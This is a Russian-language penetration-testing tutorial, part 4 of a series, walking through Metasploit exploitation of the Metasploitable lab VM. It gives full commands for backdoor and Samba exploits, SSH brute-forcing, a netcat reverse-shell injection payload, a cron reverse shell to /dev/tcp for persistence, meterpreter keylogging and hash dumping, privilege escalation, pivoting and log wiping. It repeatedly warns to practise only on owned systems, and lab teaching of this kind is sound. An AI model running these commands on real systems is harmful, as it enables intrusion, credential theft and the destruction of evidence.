Путь хакера: серия из 5 частей
Часть 1: Введение → Часть 2: Мастерство Flipper → Часть 3: Основы Kali → Часть 4: Эксплуатация → Часть 5: Полный аудит
В частях 1-3 вы собрали свой набор инструментов. Вы умеете клонировать пропуска, картографировать сети, перехватывать handshake и определять каждый сервис, работающий на цели. Теперь вы видите уязвимости повсюду. Но видеть уязвимость и эксплуатировать её совершенно разные навыки.
Здесь всё становится серьёзным. Сегодня вы научитесь использовать Metasploit Framework, тот же инструмент, которым пользуются профессиональные пентестеры по всему миру. Вы проэксплуатируете свою первую уязвимость, установите persistence, повысите привилегии и научитесь делать pivot через сеть.
Черта, которую нельзя переступать
Всё в этой статье нужно практиковать только на системах, которые принадлежат вам или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам является федеральным преступлением с наказанием до 20 лет лишения свободы. «Я просто учился» не является защитой. Постройте лабораторию, используйте намеренно уязвимые виртуальные машины и никогда не трогайте чужие системы.
Часть 1: Построение атакующей лаборатории
Прежде чем эксплуатировать что-либо, вам нужны цели. Настоящие пентестеры используют изолированные лабораторные среды с намеренно уязвимыми машинами. Вы сделаете то же самое.
Базовая настройка лаборатории
Что вам понадобится
- Kali Linux VM - Ваша атакующая машина (из Части 3)
- Metasploitable 2 - Намеренно уязвимая Linux VM (SourceForge)
- Metasploitable 3 - Уязвимая Windows/Linux VM (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - Уязвимые машины в стиле CTF (vulnhub.com)
Проект: Настройка сети лаборатории
Время: 45 минут
- Скачайте Metasploitable 2 с SourceForge
- Импортируйте в VirtualBox/VMware
- Настройте сеть: установите и Kali, и Metasploitable в режим «Host-Only» или «Internal Network»
- Загрузите Metasploitable (логин по умолчанию:
msfadmin/msfadmin) - Запишите IP-адрес:
ifconfig - Из Kali проверьте связь:
ping METASPLOITABLE_IP - Запустите начальное сканирование:
sudo nmap -sV -sC METASPLOITABLE_IP
Проверка: Вы должны увидеть десятки открытых портов. Metasploitable создан для того, чтобы его взламывали.
Ваше сканирование nmap должно показать такие сервисы, как FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL и другие, многие из которых работают на устаревших, уязвимых версиях. Это ваша площадка для экспериментов.
Часть 2: Основы Metasploit Framework
Metasploit не просто инструмент. Это целая экосистема. Он содержит тысячи эксплойтов, полезных нагрузок, вспомогательных модулей и инструментов post-exploitation. Понимание его структуры необходимо.
Запуск Metasploit
bash# Initialize the database (first time only)
sudo msfdb init
# Start Metasploit console
msfconsole
# You'll see the Metasploit banner and prompt:
msf6 >Структура Metasploit
Metasploit организует всё в модули:
- Exploits - Код, эксплуатирующий уязвимости
- Payloads - Код, выполняемый после эксплуатации (shells, meterpreter)
- Auxiliary - Сканеры, фаззеры и другие утилиты
- Post - Модули post-exploitation для persistence, pivoting
- Encoders - Обфускация payload для обхода обнаружения
bash# Search for modules
msf6 > search type:exploit platform:linux smb
# Search by CVE
msf6 > search cve:2017-0144
# Search by name
msf6 > search vsftpd
# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorРабочий процесс эксплуатации
Каждая эксплуатация в Metasploit следует одному шаблону:
- Выберите эксплойт -
use exploit/path/to/module - Задайте параметры - IP цели, порты, учётные данные
- Выберите payload - Что запускается после эксплуатации
- Выполните -
exploitилиrun
Часть 3: Ваш первый эксплойт
Давайте проэксплуатируем один из самых знаменитых бэкдоров в истории: бэкдор vsftpd 2.3.4. В 2011 году кто-то внедрил бэкдор в исходный код vsftpd. Если отправить имя пользователя, заканчивающееся на :), на порту 6200 открывается шелл.
Metasploitable 2 запускает именно эту версию.
bash# Start Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101
# Run the exploit
msf6 exploit(...) > exploit
# If successful:
[*] Command shell session 1 opened
[+] Got shell!
# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)Вот и всё. Один уязвимый сервис, один эксплойт, доступ root. Вот почему важно обновлять программное обеспечение.
Проект: Эксплуатация бэкдора vsftpd
Время: 15 минут
Предварительные требования: Metasploitable 2 работает, Kali в той же сети
- Проверьте, что FTP работает:
nmap -sV -p 21 TARGET_IP - Запустите msfconsole
- Найдите, выберите и настройте эксплойт vsftpd
- Запустите эксплойт
- Получив шелл, исследуйте:
cat /etc/shadow
Критерии успеха: Вы можете прочитать /etc/shadow, доступный только root.
Часть 4: Понимание Payloads
Payload это то, что выполняется после успешной эксплуатации. Базовый шелл, который мы получили выше, прост, но Metasploit предлагает гораздо более мощные варианты.
Типы Payloads
- Singles - Автономные, одноразовые payloads (добавление пользователя, выполнение команды)
- Stagers - Маленькие payloads, устанавливающие соединение и загружающие основной payload
- Stages - Основной payload, загружаемый стейджером (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads
# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcpReverse и Bind Shells
- Reverse shell - Цель подключается обратно к вам. Лучше для обхода файрволов (исходящий трафик обычно разрешён).
- Bind shell - Цель открывает порт для вашего подключения. Проще обнаружить, часто блокируется файрволами.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444
# Metasploit starts a listener automatically when you exploitMeterpreter: лучший Payload
Meterpreter это самый мощный payload Metasploit. Работает полностью в памяти (без файлов на диске), обеспечивает шифрованное соединение и включает десятки встроенных команд для post-exploitation.
bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > download file # Download file to Kali
meterpreter > upload file # Upload file to target
meterpreter > shell # Drop to system shell
meterpreter > hashdump # Dump password hashes
meterpreter > screenshot # Take screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keystrokes
meterpreter > background # Background this sessionЧасть 5: Дополнительные техники эксплуатации
Эксплуатация Samba (SMB)
Metasploitable 2 работает на уязвимой версии Samba. Это похоже на печально известный эксплойт EternalBlue, использованный в WannaCry.
bash# Search for Samba exploits
msf6 > search type:exploit samba
# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit
[*] Command shell session 2 openedЭксплуатация слабых учётных данных
Не каждая компрометация требует программной уязвимости. Слабые пароли повсюду.
bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run
# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Эксплуатация веб-приложений
Metasploitable включает несколько уязвимых веб-приложений. Давайте проэксплуатируем инъекцию PHP-кода.
bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)
# Use Metasploit's web exploits
msf6 > search type:exploit php
# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444Проект: Эксплуатация трёх разных сервисов
Время: 60 минут
Цель: Metasploitable 2
- Проэксплуатируйте бэкдор vsftpd (FTP - порт 21) и получите root shell
- Проэксплуатируйте Samba usermap_script (SMB - порт 139/445) и получите root shell
- Взломайте учётные данные SSH (порт 22) с помощью auxiliary/scanner/ssh/ssh_login
- Задокументируйте каждую эксплуатацию: использованный модуль, заданные параметры, результат
Бонус: Исследуйте веб-приложения на порту 80 и найдите ручные векторы эксплуатации.
Часть 6: Post-Exploitation
Получение шелла только начало. Настоящие тесты на проникновение требуют продемонстрировать, что атакующий мог бы сделать с этим доступом. Это post-exploitation.
Сбор информации
text# From a Meterpreter session
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux
# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arpbash# From a regular shell
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (requires root)
cat /etc/hosts # Network mappings
netstat -tulpn # Open ports
ps aux # Running processes
crontab -l # Scheduled tasksСбор учётных данных
text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bashbash# Or from shell
cat /etc/shadow
# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtУстановка Persistence
Persistence означает сохранение доступа даже после перезагрузки или когда ваш начальный вектор эксплуатации исправлен.
bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker
# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistence = Улики
Каждый механизм persistence оставляет следы. В реальном тесте на проникновение вы документируете, что могли бы сделать, а затем убираете за собой. Оставлять бэкдоры на системах клиентов непрофессионально и потенциально незаконно. В своей лаборатории можете экспериментировать сколько угодно, но понимайте последствия.
Часть 7: Повышение привилегий
Часто начальный доступ получается от имени пользователя с низкими привилегиями. Повышение до root/admin обычно необходимо для достижения целей теста.
Повышение привилегий в Linux
bash# Current user context
id
whoami
# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Sudo permissions
sudo -l
# Kernel version (for kernel exploits)
uname -a
# Running processes as root
ps aux | grep root
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*Автоматизированные скрипты перечисления
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000
# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitableТипичные векторы Privesc в Linux
bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell
# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;
# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shellПовышение привилегий в Windows
Если вы тестируете Windows-цели (Metasploitable 3), техники отличаются:
text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user
meterpreter > getsystem
[+] ...got SYSTEM
# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester
# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploitПроект: Повышение от пользователя до Root
Время: 45 минут
Сценарий: У вас есть SSH-доступ к Metasploitable как msfadmin (не root)
- SSH к Metasploitable:
ssh msfadmin@TARGET - Выполните
idчтобы подтвердить, что вы не root - Проверьте права sudo:
sudo -l - Найдите SUID бинарники:
find / -perm -4000 2>/dev/null - Загрузите и запустите LinPEAS
- Определите вектор privesc и проэксплуатируйте его
Цель: Получить root shell, не используя эксплуатацию сетевого сервиса.
Часть 8: Pivoting
Pivoting это использование скомпрометированной системы для атаки на другие системы, недоступные напрямую с вашей атакующей машины. Так злоумышленники перемещаются латерально по сетям.
Сценарий Pivot
Представьте такую сеть:
- Ваш Kali: 192.168.1.100
- Скомпрометированный хост: 192.168.1.50 (также подключён к внутренней сети 10.0.0.0/24)
- Цель: 10.0.0.10 (доступна только с 192.168.1.50)
Вы не можете добраться до 10.0.0.10 напрямую. Но через скомпрометированный хост можете.
Маршрутизация Metasploit
text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50
meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1
meterpreter > background
# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print
# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run
# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploitSOCKS Proxy для полного доступа
bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run
# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080
# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]SSH-туннелирование (без Metasploit)
bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host
# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80
# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444Часть 9: Заметание следов
Профессиональные пентестеры документируют свой доступ, но убирают за собой. Понимание того, как злоумышленники заметают следы, также помогает обнаруживать вторжения.
bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log
# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file
# Meterpreter
meterpreter > clearev # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"В реальных проектах: не делайте этого
Профессиональные пентестеры документируют свой доступ и сообщают о своих находках. Они их не скрывают. Удаление логов уничтожает улики, необходимые защитникам для понимания пути атаки. Практикуйте эти техники только в изолированной лабораторной среде.
Путь хакера
Серия из 5 частей, ведущая от любопытства к мастерству.
Часть 1: Введение Часть 2: Мастерство Flipper Часть 3: Основы Kali Часть 4: Эксплуатация ✓ Часть 5: Полный аудит
Чек-лист Части 4
☐ Настройка лаборатории: Metasploitable 2 работает, изолированная сеть настроена
☐ Metasploit: База данных инициализирована, базовая навигация освоена
☐ Первый эксплойт: Бэкдор vsftpd проэксплуатирован, root shell получен
☐ Множественные векторы: FTP, SMB проэксплуатированы, SSH-учётные данные взломаны
☐ Post-Exploitation: Хеши паролей извлечены, система перечислена
☐ Повышение привилегий: Повышение от пользователя до root без сетевого эксплойта
☐ Pivoting: Понимание концепций autoroute и SOCKS proxy
☐ Документация: Все эксплойты задокументированы с шагами и доказательствами
Что дальше
Вы научились эксплуатировать уязвимости, повышать привилегии и делать pivot через сети. Вы видели, как быстро одна слабость превращается в полную компрометацию. Вы понимаете, что делают профессиональные пентестеры.
В Части 5 мы собираем всё воедино. Вы проведёте полный аудит безопасности от начала до конца:
- Определение объёма и правила взаимодействия
- Полная методология разведки
- Систематическая эксплуатация
- Всесторонний post-exploitation
- Профессиональная отчётность
- Рекомендации по устранению
Часть 5 это кульминация. Всё, чему вы научились в этой серии, объединяется в методологию реального мира, которую можно использовать для оценки безопасности любой сети, которую вам разрешено тестировать.
Вы изучили техники. Теперь вы изучите методологию. Часть 5 превращает навыки в полноценный рабочий процесс тестирования на проникновение.
Увидимся в Части 5.